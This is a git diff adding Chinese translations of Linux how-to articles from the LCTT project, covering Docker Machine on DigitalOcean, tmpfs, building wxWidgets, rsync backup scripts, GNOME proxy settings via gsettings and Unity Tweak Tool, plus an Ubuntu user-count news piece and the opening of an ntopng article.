Machine支持Windows、OSX和Linux,并且提供一个独立的二进制文件,可以直接使用。它让我们可以充分利用支持Docker的基础设施的生态环境合作伙伴,并且使用相同的接口进行访问。它让人们可以使用一个命令来简单而迅速地在不同的云平台部署Docker容器。 + +### 1. 安装Docker Machine ### + +Docker Machine可以很好地支持每一种Linux发行版。首先,我们需要从Github网站下载最新版本的。这里我们使用curl来下载目前最新0.2.0版本的Docker Machine。 + +在64位操作系统运行: + + # curl -L https://github.com/docker/machine/releases/download/v0.2.0/docker-machine_linux-amd64 > /usr/local/bin/docker-machine + +在32位操作系统运行: + + # curl -L https://github.com/docker/machine/releases/download/v0.2.0/docker-machine_linux-i386 > /usr/local/bin/docker-machine + +下载最新版本的Docker Machine并将docker-machine文件放到了/usr/local/bin/后,添加执行权限: + + # chmod +x /usr/local/bin/docker-machine + +完成如上操作后,我们需要确认已经成功安装docker-machine了。可以运行如下命令检查,它会输出系统中docker-machine的版本: + + # docker-machine -v + +![Installing Docker Machine](http://blog.linoxide.com/wp-content/uploads/2015/05/installing-docker-machine.png) + +要在我们的机器上启用docker命令,需要使用如下命令安装Docker客户端: + + # curl -L https://get.docker.com/builds/linux/x86_64/docker-latest > /usr/local/bin/docker + # chmod +x /usr/local/bin/docker + +### 2. 创建机器 ### + +在自己的Linux机器上安装好了Docker Machine之后,我们想要将一个docker虚拟机部署到云服务器上。Docker Machine支持几个流行的云平台,如igital Ocean、Amazon Web Services(AWS)、Microsoft Azure、Google Cloud Computing及其它等等,所以我们可以在不同的平台使用相同的接口来部署Docker。本文中我们会使用digitalocean驱动在Digital Ocean的服务器上部署Docker,--driver选项指定digitalocean驱动,--digitalocean-access-token选项指定[Digital Ocean Control Panel][1]提供的API Token,命令最后的是我们创建的Docker虚拟机的机器名。运行如下命令: + + # docker-machine create --driver digitalocean --digitalocean-access-token linux-dev + + # eval "$(docker-machine env linux-dev)" + +![Docker Machine Digitalocean Cloud](http://blog.linoxide.com/wp-content/uploads/2015/05/docker-machine-digitalocean-cloud.png) + +**注意**: 这里linux-dev是我们将要创建的机器的名称。``是一个安全key,可以在Digtal Ocean Control Panel生成。要找到这个key,我们只需要登录到我们的Digital Ocean Control Panel,然后点击API,再点击 Generate New Token,填写一个名称,选上Read和Write。然后我们就会得到一串十六进制的key,那就是``,简单地替换到上边的命令中即可。 + +运行如上命令后,我们可以在Digital Ocean Droplet Panel中看到一个具有默认配置的droplet已经被创建出来了。 + +![DigitalOcean Droplet Panel](http://blog.linoxide.com/wp-content/uploads/2015/05/digitalocean-droplet-panel.png) + +简便起见,docker-machine会使用默认配置来部署Droplet。我们可以通过增加选项来定制我们的Droplet。这里是一些digitalocean相关的选项,我们可以使用它们来覆盖Docker Machine所使用的默认配置。 + +- --digitalocean-image "ubuntu-14-04-x64" 用于选择Droplet的镜像 +- --digitalocean-ipv6 enable 启用IPv6网络支持 +- --digitalocean-private-networking enable 启用专用网络 +- --digitalocean-region "nyc3" 选择部署Droplet的区域 +- --digitalocean-size "512mb" 选择内存大小和部署的类型 + +如果你想在其他云服务使用docker-machine,并且想覆盖默认的配置,可以运行如下命令来获取Docker Mackine默认支持的对每种平台适用的参数。 + + # docker-machine create -h + +### 3. 选择活跃主机 ### + +部署Droplet后,我们想马上运行一个Docker容器,但在那之前,我们需要检查下活跃主机是否是我们需要的机器。可以运行如下命令查看。 + + # docker-machine ls + +![Docker Machine List](http://blog.linoxide.com/wp-content/uploads/2015/05/docker-machine-ls.png) + +ACTIVE一列有“*”标记的是活跃主机。 + +现在,如果我们想将活跃主机切换到需要的主机,运行如下命令: + + # docker-machine active linux-dev + +**注意**:这里,linux-dev是机器名,我们打算激活这个机器,并且在其上运行Docker容器。 + +### 4. 运行一个Docker容器 ### + +现在,我们已经选择了活跃主机,就可以运行Docker容器了。可以测试一下,运行一个busybox容器来执行`echo hello word`命令,这样就可以得到输出: + + # docker run busybox echo hello world + +注意:如果你试图在一个装有32位操作系统的宿主机部署Docker容器,使用SSH来运行docker是个好办法。这样你就可以简单跳过这一步,直接进入下一步。 + +### 5. SSH到Docker机器中 ### + +如果我们想在机器或者Droplet上控制之前部署的Docker机器,可以使用docker-machine ssh命令来SSH到机器上: + + # docker-machine ssh + +![Docker Machine SSH](http://blog.linoxide.com/wp-content/uploads/2015/05/docker-machine-ssh.png) + +SSH到机器上之后,我们可以在上边运行任何Docker容器。这里我们运行一个nginx: + + # docker run -itd -p 80:80 nginx + +操作完毕后,我们需要运行exit命令来退出Droplet或者服务器。 + + # exit + +### 5. 删除主机 ### + +删除在运行的主机以及它的所有镜像和容器,我们可以使用docker-machine rm命令: + + # docker-machine rm linux-dev + +![Docker Machine Remove All](http://blog.linoxide.com/wp-content/uploads/2015/05/docker-machine-remove-machine.png) + +使用docker-machine ls命令检查是否成功删除了: + + # docker-machine ls + +![Docker Machine Remove Check](http://blog.linoxide.com/wp-content/uploads/2015/05/docker-machine-remove-check.png) + +### 6. 在不使用驱动的情况新增一个主机 ### + +我们可以在不使用驱动的情况往Docker增加一台主机,只需要一个URL。它可以使用一个已有机器的别名,所以我们就不需要每次在运行docker命令时输入完整的URL了。 + + $ docker-machine create --url=tcp://104.131.50.36:2376 custombox + +### 7. 管理主机 ### + +如果你已经让Docker运行起来了,可以使用简单的**docker-machine stop**命令来停止所有正在运行的主机,如果需要再启动的话可以运行**docker-machine start**: + + # docker-machine stop + # docker-machine start + +你也可以使用如下命令来使用机器名作为参数来将其停止或启动: + + $ docker-machine stop linux-dev + $ docker-machine start linux-dev + +### 总结 ### + +Docker Machine是一个非常棒的工具,可以使用Docker容器快速地部署服务。文中我们使用Digital Ocean Platform作演示,但Docker Machine还支持其他平台,如Amazon Web Service、Google Cloud Computing。使用Docker Machine,快速、安全地在几种不同平台部署Docker容器变得很简单了。因为Docker Machine还是Beta版本,不建议在生产环境使用。如果你有任何问题、建议、反馈,请在下方的评论框中写下来,我们会改进或者更新我们的内容。谢谢!享受吧 :-) + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-how-to/use-docker-machine-cloud-provider/ + +作者:[Arun Pyasi][a] +译者:[goreliu](https://github.com/goreliu) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/arunp/ +[1]:https://cloud.digitalocean.com/settings/applications \ No newline at end of file diff --git a/published/201506/20150520 How to Use tmpfs on RHEL or CentOS 7.0.md b/published/201506/20150520 How to Use tmpfs on RHEL or CentOS 7.0.md new file mode 100644 index 0000000000..8d376b8b72 --- /dev/null +++ b/published/201506/20150520 How to Use tmpfs on RHEL or CentOS 7.0.md @@ -0,0 +1,64 @@ +如何在RHEL/CentOS 7.0中使用tmpfs +================================================================================ +今天我们来谈谈 Centos 7 中的一个文件系统tmpfs,这是一个将所有文件和文件夹写到虚拟内存中而不是实际写到磁盘中的虚拟文件系统。这意味中tmpfs中所有的内容都是临时的,在tmpfs卸载、系统重启或者电源切断后内容都将会丢失。技术的角度上来说,tmpfs将所有的内容放在内核内部缓存中并且会调整大小来容纳文件,并可从交换空间中交换出不需要的页。 + +CentOS默认使用tmpfs做的几种用途可用df -h命令的输出来看: + + # df –h + +![df](http://blog.linoxide.com/wp-content/uploads/2015/05/tmpfs1.jpg) + +- /dev - 含有针对所有设备的设备文件的目录 +- /dev/shm - 包含共享内存分配 +- /run - 用于系统日志 +- /sys/fs/cgroup - 用于cgrpups, 一个针对特定进程限制、管制和审计资源利用的内核特性 + +显然,它也可以用作/tmp目录, 你可以用下面的两种方法来做到: + +### 使用systemctl来在/tmp中启用tmpfs ### + +你可以使用systemctl命令在tmp目录启用tmpfs, 首先用下面的命令来检查这个特性是否可用: + + # systemctl is-enabled tmp.mount + +这会显示当先的状态,(如果未启用,)你可以使用下面的命令来启用它: + + # systemctl enable tmp.mount + +![systemctl](http://blog.linoxide.com/wp-content/uploads/2015/05/tmpfs3.jpg) + +这会让系统控制/tmp目录并在该目录下挂载一个tmpfs文件系统。 + +### 手动挂载/tmp文件系统 ### + +你可以在/etc/fstab中添加下面这行,来手工在/tmp下挂载 tmpfs。 + + tmpfs /tmp tmpfs size=512m 0 0 + +接着运行这条命令 + + # mount –a + +![df](http://blog.linoxide.com/wp-content/uploads/2015/05/tmpfs2.jpg) + +这应该就会在df -h中显示tmpfs了,同样也会在你下次重启时自动挂载。 + +### 立即创建tmpfs ### + +如果由于一些原因,你需要在一个文件夹下立即创建tmpfs,你可以使用下面的命令: + + # mount -t tmpfs -o size=1G tmpfs /mnt/mytmpfs + +当然你可以在size选项中指定你希望的大小和希望的挂载点,只要记住是有效的目录就行了。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/file-system/use-tmpfs-rhel-centos-7-0/ + +作者:[Adrian Dinu][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/adriand/ diff --git a/published/201506/20150520 How to compile and install wxWidgets on Ubuntu or Debian or Linux Mint.md b/published/201506/20150520 How to compile and install wxWidgets on Ubuntu or Debian or Linux Mint.md new file mode 100644 index 0000000000..db8dc669dc --- /dev/null +++ b/published/201506/20150520 How to compile and install wxWidgets on Ubuntu or Debian or Linux Mint.md @@ -0,0 +1,164 @@ +如何在Ubuntu/Debian/Linux Mint中编译和安装wxWidgets +================================================================================ + +### wxWidgets ### + +wxWidgets是一个程序开发框架/库, 允许你在Windows、Mac、Linux中使用相同的代码跨平台开发。它主要用C++写成,但也可以与其他语言绑定比如Python、Perl、Ruby。 + +本教程中我将向你展示如何在基于Debian的linux中如Ubuntu和Linux Mint中编译wxwidgets 3.0+。 + +从源码编译wxWidgets并不困难,仅仅需要几分钟。库可以按不同的方式来编译,比如静态或者动态库。 + +### 1. 下载 wxWidgets ### + +第一步你需要从[wxwidgets.org][1]下载wxWidgets源码文件。 + +做完后,解压到目录。 + +### 2. 设置编译环境 ### + +要编译wxwidgets,我们需要一些工具包括C++编译器,在Linux上是g++。所有这些可以通过apt-get工具从仓库中安装。 + +我们还需要wxWidgets依赖的GTK开发库。 + + $ sudo apt-get install libgtk-3-dev build-essential checkinstall + +> 这个叫做checkinstall的工具允许我们为wxwidgets创建一个安装包,这样之后就可以轻松的使用包管理器来卸载。 + +### 3. 编译 wxWidgets ### + +进入到wxWidgets解压后的目录。为了保持清洁,创建一个编译用的目录。 + + $ mkdir gtk-build + $ cd gtk-build/ + +现在运行configure和make命令。每个将花费一些时间来完成。 + + $ ../configure --disable-shared --enable-unicode + $ make + +"--disable-shared"选项将会编译静态库而不是动态库。 + +make命令完成后,编译就成功了。是时候安装wxWidgets到正确的目录。 + +更多信息请参考install.txt和readme.txt,这可在wxwidgets中的/docs/gtk/目录下找到。 + +### 4. 安装 checkinstall ### + +现在我们不使用"make install"命令,我们使用checkinstall命令来创建一个wxwidgets的deb安装包。运行命令: + + $ sudo checkinstall + +checkinstall会询问几个问题,请保证在提问后提供一个版本号,否则将会失败。 + +完成这一切后,wxWidgets就安装好了,deb文件也会创建在相同的目录下。 + +### 5. 追踪安装的文件 ### + +如果你想要检查文件安装的位置,使用dpkg命令后面跟上checkinstall提供的包名。 + + $ dpkg -L package_name + /. + /usr + /usr/local + /usr/local/lib + /usr/local/lib/libwx_baseu-3.0.a + /usr/local/lib/libwx_gtk3u_propgrid-3.0.a + /usr/local/lib/libwx_gtk3u_html-3.0.a + /usr/local/lib/libwxscintilla-3.0.a + /usr/local/lib/libwx_gtk3u_ribbon-3.0.a + /usr/local/lib/libwx_gtk3u_stc-3.0.a + /usr/local/lib/libwx_gtk3u_qa-3.0.a + /usr/local/lib/libwx_baseu_net-3.0.a + /usr/local/lib/libwxtiff-3.0.a + +### 6. 编译示例 ### + +编译wxWidgets完成后就可以马上编译示例程序了。在相同的目录下,一个新的sample目录已经创建了。 + +进入它并运行下面的命令 + + $ compile samples + $ cd samples/ + $ make + +make命令完成后,进入sample 子目录,这里就有一个可以马上运行的Demo程序了。 + +### 7. 编译你的第一个程序 ### + +你完成编译demo程序后,可以写你自己的程序来编译了。这个也很简单。 + +假设你用的是C++,这样的话你还可以使用编辑器的高亮特性。比如gedit、kate、kwrite等等。或者用全功能的IDE像Geany、Codelite、Codeblocks等等。 + +然而你的第一个程序只需要用一个文本编辑器来快速完成。 + +如下: + + #include + + class Simple : public wxFrame + { + public: + Simple(const wxString& title) + : wxFrame(NULL, wxID_ANY, title, wxDefaultPosition, wxSize(250, 150)) + { + Centre(); + } + }; + + class MyApp : public wxApp + { + public: + bool OnInit() + { + Simple *simple = new Simple(wxT("Simple")); + simple->Show(true); + return true; + } + }; + + wxIMPLEMENT_APP(MyApp); + +现在保存并用下面的命令编译。 + + # compile + $ g++ basic.cpp `wx-config --cxxflags --libs std` -o program + + # run + $ ./program + +#### 和非标准的库一起编译 #### + +面展示的wx-config命令默认只支持标准的库。如果你使用的是Aui库,那么你需要指定额外用到的库。 + + $ g++ code.cpp `wx-config --cxxflags --libs std,aui` -o program + +更多的信息参考这里[这里][2]。 + +### 资源 ### + +下载wxWidgets的源码和帮助 +[https://www.wxwidgets.org/downloads/][3] + +wxWidgets编译的wiki页面 +[https://wiki.wxwidgets.org/Compiling_and_getting_started][4] + +使用wxWidgets最新版本(3.0+)的事项 +[https://wiki.wxwidgets.org/Updating_to_the_Latest_Version_of_wxWidgets][5] + +-------------------------------------------------------------------------------- + +via: http://www.binarytides.com/install-wxwidgets-ubuntu/ + +作者:[Silver Moon][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:https://plus.google.com/117145272367995638274/posts +[1]:https://www.wxwidgets.org/downloads/ +[2]:https://wiki.wxwidgets.org/Updating_to_the_Latest_Version_of_wxWidgets#The_wx-config_script +[3]:https://www.wxwidgets.org/downloads/ +[4]:https://wiki.wxwidgets.org/Compiling_and_getting_started +[5]:https://wiki.wxwidgets.org/Updating_to_the_Latest_Version_of_wxWidgets diff --git a/published/201506/20150520 Shell Script to Backup Files or Directories Using rsync.md b/published/201506/20150520 Shell Script to Backup Files or Directories Using rsync.md new file mode 100644 index 0000000000..b987588c4f --- /dev/null +++ b/published/201506/20150520 Shell Script to Backup Files or Directories Using rsync.md @@ -0,0 +1,171 @@ +Shell脚本:使用rsync备份文件/目录 +================================================================================ +本文我们介绍一个shell脚本,用来使用rsync命令将你本地Linux机器上的文件/目录备份到远程Linux服务器上。使用该脚本会以交互的方式实施备份,你需要提供远程备份服务器的主机名/ip地址和文件夹位置。我们使用一个单独的列表文件,在这个文件中你需要列出要备份的文件/目录。我们添加了两个脚本,**第一个脚本**在每次拷贝完一个文件后询问密码(如果你启用了ssh密钥验证,那么就不会询问密码),而第二个脚本中,则只会提示一次输入密码。 + +我们打算备份bckup.txt,dataconfig.txt,docs和orcledb。 + + [root@Fedora21 tmp]# ls -l + total 12 + -rw-r--r--. 1 root root 0 May 15 10:43 bckrsync.sh + -rw-r--r--. 1 root root 0 May 15 10:44 bckup.txt + -rw-r--r--. 1 root root 0 May 15 10:46 dataconfig.txt + drwxr-xr-x. 2 root root 4096 May 15 10:45 docs + drwxr-xr-x. 2 root root 4096 May 15 10:44 oracledb + +bckup.txt文件包含了需要备份的文件/目录的详情 + + [root@Fedora21 tmp]# cat /tmp/bckup.txt + /tmp/oracledb + /tmp/dataconfig.txt + /tmp/docs + [root@Fedora21 tmp]# + +### 脚本 1: ### + + #!/bin/bash + + # 将备份列表文件的路径保存到变量中 + backupf='/tmp/bckup.txt' + + # 输入一个提示信息 + echo "Shell Script Backup Your Files / Directories Using rsync" + + # 检查是否输入了目标服务器,如果为空就再次提示用户输入 + while [ x$desthost = "x" ]; do + + # 提示用户输入目标服务器地址并保存到变量 + read -p "Destination backup Server : " desthost + + # 结束循环 + done + + # 检查是否输入了目标文件夹,如果为空就再次提示用户输入 + while [ x$destpath = "x" ]; do + + # 提示用户输入目标文件夹并保存到变量 + read -p "Destination Folder : " destpath + + # 结束循环 + done + + # 逐行读取备份列表文件 + for line in `cat $backupf` + + # 对每一行都进行处理 + do + + # 显示要被复制的文件/文件夹名称 + echo "Copying $line ... " + # 通过 rsync 复制文件/文件夹到目标位置 + + rsync -ar "$line" "$desthost":"$destpath" + + # 显示完成 + echo "DONE" + + # 结束 + done + +#### 运行带有输出结果的脚本 #### + + [root@Fedora21 tmp]# ./bckrsync.sh + Shell Script Backup Your Files / Directories Using rsync + Destination backup Server : 104.*.*.41 + Destination Folder : /tmp + Copying /tmp/oracledb ... + The authenticity of host '104.*.*.41 (104.*.*.41)' can't be established. + ECDSA key fingerprint is 96:11:61:17:7f:fa:...... + Are you sure you want to continue connecting (yes/no)? yes + Warning: Permanently added '104.*.*.41' (ECDSA) to the list of known hosts. + root@104.*.*.41's password: + DONE + Copying /tmp/dataconfig.txt ... + root@104.*.*.41's password: + DONE + Copying /tmp/docs ... + root@104.*.*.41's password: + DONE + [root@Fedora21 tmp]# + +### 脚本 2: ### + + #!/bin/bash + + # 将备份列表文件的路径保存到变量中 + backupf='/tmp/bckup.txt' + + # 输入一个提示信息 + echo "Shell Script Backup Your Files / Directories Using rsync" + + # 检查是否输入了目标服务器,如果为空就再次提示用户输入 + while [ x$desthost = "x" ]; do + + # 提示用户输入目标服务器地址并保存到变量 + read -p "Destination backup Server : " desthost + + # 结束循环 + done + + # 检查是否输入了目标文件夹,如果为空就再次提示用户输入 + while [ x$destpath = "x" ]; do + + # 提示用户输入目标文件夹并保存到变量 + read -p "Destination Folder : " destpath + + # 结束循环 + done + + # 检查是否输入了目标服务器密码,如果为空就再次提示用户输入 + while [ x$password = "x" ]; do + # 提示用户输入密码并保存到变量 + # 使用 -s 选项不回显输入的密码 + read -sp "Password : " password + # 结束循环 + done + + # 逐行读取备份列表文件 + for line in `cat $backupf` + + # 对每一行都进行处理 + do + + # 显示要被复制的文件/文件夹名称 + echo "Copying $line ... " + # 使用 expect 来在脚本中输入密码 + /usr/bin/expect << EOD + # 推荐设置超时为 -1 + set timeout -1 + # 通过 rsync 复制文件/文件夹到目标位置,使用 expect 的组成部分 spawn 命令 + + spawn rsync -ar ${line} ${desthost}:${destpath} + # 上一行命令会等待 “password” 提示 + expect "*?assword:*" + # 在脚本中提供密码 + send "${password}\r" + # 等待文件结束符(远程服务器处理完了所有事情) + expect eof + # 结束 expect 脚本 + EOD + # 显示结束 + echo "DONE" + + # 完成 + done + +#### 运行第二个带有输出结果的脚本的屏幕截图 #### + +![rsync script](http://blog.linoxide.com/wp-content/uploads/2015/05/bckuprsync-script.png) + +希望这些脚本对你备份会有帮助!! + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-shell-script/shell-script-backup-files-directories-rsync/ + +作者:[Yevhen Duma][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/yevhend/ diff --git a/published/201506/20150521 Linux FAQs with Answers--How to change system proxy settings from the command line on Ubuntu desktop.md b/published/201506/20150521 Linux FAQs with Answers--How to change system proxy settings from the command line on Ubuntu desktop.md new file mode 100644 index 0000000000..377a9a0399 --- /dev/null +++ b/published/201506/20150521 Linux FAQs with Answers--How to change system proxy settings from the command line on Ubuntu desktop.md @@ -0,0 +1,71 @@ +Linux 有问必答:如何在桌面版 Ubuntu 中用命令行更改系统代理设置 +================================================================================ +> **问题**: 我经常需要在桌面版 Ubuntu 中更改系统代理设置,但我不想通过繁琐的 GUI 菜单点击:"系统设置" -> "网络" -> "网络代理"。在命令行中有更方便的方法更改桌面版的代理设置吗? + +在桌面版 Ubuntu 中,它的桌面环境设置,包括系统代理设置,都存储在 DConf 数据库,这是简单的键值对存储。如果你想通过系统设置菜单修改桌面属性,更改会持久保存在后端的 DConf 数据库。在 Ubuntu 中更改 DConf 数据库有基于图像用户界面和非图形用户界面的两种方式。系统设置或者 `dconf-editor` 是访问 DConf 数据库的图形方法,而 `gsettings` 或 `dconf` 就是能更改数据库的命令行工具。 + +下面介绍如何用 `gsettings` 从命令行更改系统代理设置。 + +![](https://farm6.staticflickr.com/5460/17872782271_68e5267a4a_c.jpg) + +`gsettings` 读写特定 Dconf 设置的基本用法如下: + +更改 DConf 设置: + + $ gsettings set + +读取 DConf 设置: + + $ gsettings get + +### 通过命令行更改系统代理设置为手动 ### + +桌面版 Ubuntu 中下面的命令会更改 HTTP 代理设置为 "my.proxy.com:8000"。 + + $ gsettings set org.gnome.system.proxy.http host 'my.proxy.com' + $ gsettings set org.gnome.system.proxy.http port 8000 + $ gsettings set org.gnome.system.proxy mode 'manual' + +如果你还想更改 HTTPS/FTP 代理为手动,用这些命令: + + $ gsettings set org.gnome.system.proxy.https host 'my.proxy.com' + $ gsettings set org.gnome.system.proxy.https port 8000 + $ gsettings set org.gnome.system.proxy.ftp host 'my.proxy.com' + $ gsettings set org.gnome.system.proxy.ftp port 8000 + +更改套接字主机设置为手动: + + $ gsettings set org.gnome.system.proxy.socks host 'my.proxy.com' + $ gsettings set org.gnome.system.proxy.socks port 8000 + +上面的更改都只适用于当前的桌面用户。如果你想在系统范围内使用代理设置更改,在 gsettings 命令面前添加 sudo。例如: + + $ sudo gsettings set org.gnome.system.proxy.http host 'my.proxy.com' + $ sudo gsettings set org.gnome.system.proxy.http port 8000 + $ sudo gsettings set org.gnome.system.proxy mode 'manual' + +### 在命令行中更改系统代理设置为自动 ### + +如果你正在使用 [自动配置代理][1] (proxy auto configuration,PAC),输入以下命令更改为 PAC。 + + $ gsettings set org.gnome.system.proxy mode 'auto' + $ gsettings set org.gnome.system.proxy autoconfig-url http://my.proxy.com/autoproxy.pac + +### 在命令行中清除系统代理设置 ### + +最后,清除所有“手动/自动”代理设置,还原为无代理设置: + + $ gsettings set org.gnome.system.proxy mode 'none' + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/change-system-proxy-settings-command-line-ubuntu-desktop.html + +作者:[Dan Nanni][a] +译者:[ictlyh](https://github.com/ictlyh) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://ask.xmodulo.com/author/nanni +[1]:http://xmodulo.com/how-to-set-up-proxy-auto-config-on-ubuntu-desktop.html \ No newline at end of file diff --git a/published/201506/20150521 Linux FAQs with Answers--How to install Unity Tweak Tool on Ubuntu desktop.md b/published/201506/20150521 Linux FAQs with Answers--How to install Unity Tweak Tool on Ubuntu desktop.md new file mode 100644 index 0000000000..273d603c98 --- /dev/null +++ b/published/201506/20150521 Linux FAQs with Answers--How to install Unity Tweak Tool on Ubuntu desktop.md @@ -0,0 +1,42 @@ +Linux 有问必答:如何在桌面版 Ubuntu 中安装 Unity Tweak Tool +================================================================================ +> **问题**: 我试着给刚安装的桌面版 Ubuntu 自定制桌面。我想使用 Unity Tweak Tool。我怎样才能在 Ubuntu 上安装 Unity Tweak Tool 呢? + +[Unity Tweak Tool][1] 是个流行的 Unity 桌面自定制工具。顾名思义,该工具只适用于 Ubuntu 的默认桌面环境(例如,基于 Unity 的 GNOME 桌面)。这个多功能的工具允许你通过非常直观和简单易用的图形用户界面自定义多种 Unity 桌面特性。它的菜单看起来类似于 Ubuntu 的官方系统设置,但它的桌面自定制能力远远超过默认的系统设置。通过使用 Unity Tweak Tool,你可以自定制外观、行为以及很多桌面组件的配置,例如工作区、窗口、图标、主题、光标、字体、滑动、热键等等。如果你是 Unity 桌面用户,Unity Tweak Tool 一定是个必不可少的应用程序。 + +![](https://farm6.staticflickr.com/5463/17684020389_25dc7f0db2_b.jpg) + +尽管 Unity Tweak Tool 是桌面版 Ubuntu 的重要工具,但并没有在桌面版 Ubuntu 中预安装。为了能自定制 Unity 桌面,下面介绍一下如何在桌面版 Ubuntu 中安装 Unity Tweak Tool。 + +### 在 Ubuntu 13.04 或更高版本中安装 Unity Tweak Tool ### + +从 Ubuntu 13.04 开始, Ubuntu 的基础库中就有 Unity Tweak Tool 了。因此它的安装非常简单: + + $ sudo apt-get install unity-tweak-tool + +启动 Unity Tweak Tool: + + $ unity-tweak-tool + +如果你想使用最新版本的 Unity Tweak Tool,你可以从它的 PPA 中安装(如下所述)。 + +### 在 Ubuntu 12.10 中安装 Unity Tweak Tool ### + +注意,Unity Tweak Tool 要求 Ubuntu 12.10 或更高的版本。如果你想着 Ubuntu 上安装它,你可以安装下面方法使用 PPA。当你想测试最新的开发版的时候这个 PPA 库也非常有用。 + + $ sudo add-apt-repository ppa:freyja-dev/unity-tweak-tool-daily + $ sudo apt-get update + $ sudo apt-get install unity-tweak-tool + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/install-unity-tweak-tool-ubuntu-desktop.html + +作者:[Dan Nanni][a] +译者:[ictlyh](https://github.com/ictlyh) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://ask.xmodulo.com/author/nanni +[1]:https://launchpad.net/unity-tweak-tool \ No newline at end of file diff --git a/published/201506/20150521 Will Ubuntu Linux Hit 200 Million Users This Year.md b/published/201506/20150521 Will Ubuntu Linux Hit 200 Million Users This Year.md new file mode 100644 index 0000000000..e06a6e98bb --- /dev/null +++ b/published/201506/20150521 Will Ubuntu Linux Hit 200 Million Users This Year.md @@ -0,0 +1,38 @@ +Ubuntu会在今年达到2亿用户么? +================================================================================ +距离Mark Shuttleworth表达他的目标“在4年内Ubuntu的用户达到2亿”已经过去了四年零两周。尽管Ubuntu的用户数量在过去的四年中一直在上升,但这个目标目前并未实现,并且看起来不会在今年年底实现。 + +那是2011年5月在[UDS 布达佩斯][1],Shuttleworth表示Ubuntu将在4年内达到2亿用户。 + +![](http://www.phoronix.net/image.php?id=uds_budapest&image=budapest_phoronix_03_show&w=1920) + +上一次我听到Ubuntu有“1千万”用户,但是并没有任何可靠的报道表明Ubuntu的用户数接近2亿。来自Valve最近的统计表明相比于Windows和OS X的用户[使用Linux的游戏用户的比重少于1%][2]。大多数基于Web计量和其他统计方式的数据倾向于表明Linux的用户总数只占很少的部分。 + +撇开桌面版不谈,Ubuntu在过去的四年来至少在云和服务器部署方面得到了大量的占有率,并且被证明是Red Hat Enterprise的有力竞争者。Ubuntu还证明了它对基于ARM的硬件十分友好。当Mark在四年前提出他的目标时,他可能考虑到Ubuntu Phone/Touch会比目前的状况更好。可是Ubuntu Phone/Touch目前仅仅在欧洲和[中国][3]可用,并且[Ubuntu Touch软件依旧在成熟的路上][4],[仍需要大量的关键应用程序方面的工作][5]等。 + +![](http://www.phoronix.net/image.php?id=0x2015&image=shuttleworth_200_million_show&w=1920) + +距离Canonical宣布[Ubuntu不久将登陆5%的PC][6]也已过去了3年。5%的目标是全球的PC装机量,但哪怕再过3年,我依旧很难相信这个目标会实现。至少在美国和欧洲,我仍难以在实体店看到Ubuntu作为预装的系统,主要的网络零售商/OEM厂商仍倾向于在特定的PC型号中提供Linux,比如Chrome OS、Android设备。 + +另一个由开源社区提出的高傲地、落空的目标便是[GNOME将在2010年占有全球桌面市场10%的份额][7]。五年了,没有任何迹象表明他们接近了那10%的里程碑。 + +在今天,您认为Ubuntu用户有多少呢?在未来的几年里,Ubuntu(或者Linux)的用户会有多大增长呢?通过评论来与我们分享您的想法吧。 + +-------------------------------------------------------------------------------- + +via: http://www.phoronix.com/scan.php?page=news_item&px=2015-200-Million-Goal-Retro + +作者:[Michael Larabel][a] +译者:[wwy-hust](https://github.com/wwy-hust) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://www.michaellarabel.com/ +[1]:http://www.phoronix.com/vr.php?view=16002 +[2]:http://www.phoronix.com/scan.php?page=news_item&px=Steam-April-2015-1-Drop +[3]:http://www.phoronix.com/scan.php?page=news_item&px=Ubuntu-MX4-In-China +[4]:http://www.phoronix.com/scan.php?page=news_item&px=Ubuntu-Calculator-Reboot +[5]:http://www.phoronix.com/scan.php?page=news_item&px=MTgzOTM +[6]:http://www.phoronix.com/scan.php?page=news_item&px=MTA5ODM +[7]:https://www.phoronix.com/scan.php?page=news_item&px=Nzg1Mw \ No newline at end of file diff --git a/published/201506/20150525 Linux ntopng--Network Monitoring Tool Installation Screenshots.md b/published/201506/20150525 Linux ntopng--Network Monitoring Tool Installation Screenshots.md new file mode 100644 index 0000000000..72eae8b0bb --- /dev/null +++ b/published/201506/20150525 Linux ntopng--Network Monitoring Tool Installation Screenshots.md @@ -0,0 +1,189 @@ +Linux 上网络监控工具 ntopng 的安装 +================================================================================ +当今世界,人们的计算机都相互连接,互联互通。小到你的家庭局域网(LAN),大到最大的一个被我们称为互联网。当你管理一台联网的计算机时,你就是在管理最关键的组件之一。由于大多数开发出的应用程序都基于网络,网络就连接起了这些关键点。 + +这就是为什么我们需要网络监控工具。ntop 是最好的网络监控工具之一。来自[维基百科][1]的知识“ntop是一个网络探测器,它以与top显示进程般类似的方式显示网络使用率。在交互模式中,它显示了用户终端上的网络状态。在网页模式中,它作为网络服务器,创建网络状态的HTML转储文件。它支持NetFlow/sFlowemitter/collector,这是一个基于HTTP的客户端界面,用于创建ntop为中心的监控应用,并使用RRD来持续存储通信数据”。 + +15年后的今天,你将见到ntopng——下一代ntop。 + +### ntopng是什么 ### + 